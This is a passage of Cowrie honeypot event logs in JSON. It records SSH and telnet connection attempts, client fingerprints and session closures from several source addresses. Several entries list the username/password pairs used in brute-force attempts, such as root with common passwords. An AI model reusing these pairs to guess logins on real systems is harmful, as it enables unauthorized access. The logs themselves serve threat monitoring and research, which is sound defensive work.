e-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:47.582286Z","src_ip":"87.106.29.151","session":"3b4472f1cd30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:47.988941Z","src_ip":"87.106.29.151","session":"3b4472f1cd30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.36305522918701,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:48.030676Z","src_ip":"45.58.127.90","session":"266b555963da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:49.085167Z","src_ip":"87.106.29.151","session":"3b4472f1cd30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":46576,"dst_ip":"159.203.135.109","dst_port":22,"session":"481e02e9e600","protocol":"ssh","message":"New connection: 87.106.29.151:46576 (159.203.135.109:22) [session: 481e02e9e600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:49.181980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:49.189513Z","src_ip":"87.106.29.151","session":"481e02e9e600","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:49.282440Z","src_ip":"87.106.29.151","session":"481e02e9e600","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:49.683461Z","src_ip":"87.106.29.151","session":"481e02e9e600","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:49.782550Z","src_ip":"87.106.29.151","session":"dc0513ffd5fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:49.786904Z","src_ip":"87.106.29.151","session":"481e02e9e600","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.48610258102417,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:58.186508Z","src_ip":"45.58.127.90","session":"539bcf17d195","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.735822677612305,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:58.548645Z","src_ip":"45.58.127.90","session":"dc92bfa9854e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:54:03.985343Z","src_ip":"47.239.15.75","session":"d5c4676ac244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.02606010437012,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:54:08.146969Z","src_ip":"45.58.127.90","session":"96a6d61a8837","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:54:14.306988Z","src_ip":"47.239.15.75","session":"6d633f95275e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":33752,"dst_ip":"159.203.135.109","dst_port":22,"session":"37b34c2af0ec","protocol":"ssh","message":"New connection: 198.98.55.71:33752 (159.203.135.109:22) [session: 37b34c2af0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:54:22.692827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:54:22.701142Z","src_ip":"198.98.55.71","session":"37b34c2af0ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:54:22.706144Z","src_ip":"198.98.55.71","session":"37b34c2af0ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2026@","message":"login attempt [root/admin2026@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:54:22.760417Z","src_ip":"198.98.55.71","session":"37b34c2af0ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:54:23.770272Z","src_ip":"198.98.55.71","session":"37b34c2af0ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":53710,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b3038e9cabc","protocol":"ssh","message":"New connection: 87.106.29.151:53710 (159.203.135.109:22) [session: 1b3038e9cabc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:54:34.001136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:54:34.017810Z","src_ip":"87.106.29.151","session":"1b3038e9cabc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:54:34.107209Z","src_ip":"87.106.29.151","session":"1b3038e9cabc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cl123456","message":"login attempt [root/Cl123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:54:34.473905Z","src_ip":"87.106.29.151","session":"1b3038e9cabc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:54:35.583439Z","src_ip":"87.106.29.151","session":"1b3038e9cabc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.225.201.56","src_port":33494,"dst_ip":"10.17.0.5","dst_port":23,"session":"192ba5a5ca8d","protocol":"telnet","message":"New connection: 80.225.201.56:33494 (10.17.0.5:23) [session: 192ba5a5ca8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:54:39.517119Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":35546,"dst_ip":"159.203.135.109","dst_port":22,"session":"57246eb3ff52","protocol":"ssh","message":"New connection: 47.239.15.75:35546 (159.203.135.109:22) [session: 57246eb3ff52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:54:41.288901Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50682,"dst_ip":"10.17.0.5","dst_port":23,"session":"0888dc2f61fb","protocol":"telnet","message":"New connection: 45.58.127.90:50682 (10.17.0.5:23) [session: 0888dc2f61fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:54:41.655375Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:55:05.267993Z","src_ip":"47.239.15.75","session":"25ce32cff2c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51088,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e8a3214d9b9","protocol":"telnet","message":"New connection: 45.58.127.90:51088 (10.17.0.5:23) [session: 6e8a3214d9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:55:07.445493Z"}
{"eventid":"cowrie.session.closed","duration":30.646812200546265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:55:10.163808Z","src_ip":"80.225.201.56","session":"192ba5a5ca8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":49656,"dst_ip":"159.203.135.109","dst_port":22,"session":"da444fc939c8","protocol":"ssh","message":"New connection: 198.98.55.71:49656 (159.203.135.109:22) [session: da444fc939c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:55:10.820289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:55:10.825581Z","src_ip":"198.98.55.71","session":"da444fc939c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:55:10.831119Z","src_ip":"198.98.55.71","session":"da444fc939c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"963852","message":"login attempt [root/963852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:55:10.884216Z","src_ip":"198.98.55.71","session":"da444fc939c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:55:11.931698Z","src_ip":"198.98.55.71","session":"da444fc939c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.843823194503784,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:55:20.499102Z","src_ip":"45.58.127.90","session":"0888dc2f61fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"106.202.109.229","src_port":43554,"dst_ip":"159.203.135.109","dst_port":23,"session":"d991e697a984","protocol":"telnet","message":"New connection: 106.202.109.229:43554 (159.203.135.109:23) [session: d991e697a984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:55:25.194011Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":42884,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d195d4ec600","protocol":"ssh","message":"New connection: 87.106.29.151:42884 (159.203.135.109:22) [session: 3d195d4ec600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:55:26.382568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:55:26.387314Z","src_ip":"87.106.29.151","session":"3d195d4ec600","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:55:26.482393Z","src_ip":"87.106.29.151","session":"3d195d4ec600","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Login@123","message":"login attempt [root/Login@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:55:26.886986Z","src_ip":"87.106.29.151","session":"3d195d4ec600","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:55:27.983332Z","src_ip":"87.106.29.151","session":"3d195d4ec600","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.620918035507202,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:55:37.814801Z","src_ip":"106.202.109.229","session":"d991e697a984","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":56386,"dst_ip":"159.203.135.109","dst_port":22,"session":"d90b32e1ef60","protocol":"ssh","message":"New connection: 47.239.15.75:56386 (159.203.135.109:22) [session: d90b32e1ef60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:55:39.788318Z"}
{"eventid":"cowrie.session.closed","duration":43.05169987678528,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:55:50.497086Z","src_ip":"45.58.127.90","session":"6e8a3214d9b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":57684,"dst_ip":"159.203.135.109","dst_port":22,"session":"de7a4ad11072","protocol":"ssh","message":"New connection: 198.98.55.71:57684 (159.203.135.109:22) [session: de7a4ad11072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:56:01.771410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:56:01.776803Z","src_ip":"198.98.55.71","session":"de7a4ad11072","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:56:01.782215Z","src_ip":"198.98.55.71","session":"de7a4ad11072","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"Password1","message":"login attempt [user1/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:56:01.835209Z","src_ip":"198.98.55.71","session":"de7a4ad11072","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:56:02.846897Z","src_ip":"198.98.55.71","session":"de7a4ad11072","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.8","message":"Connection lost after 28.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:56:08.590709Z","src_ip":"47.239.15.75","session":"d90b32e1ef60","protocol":"ssh"}
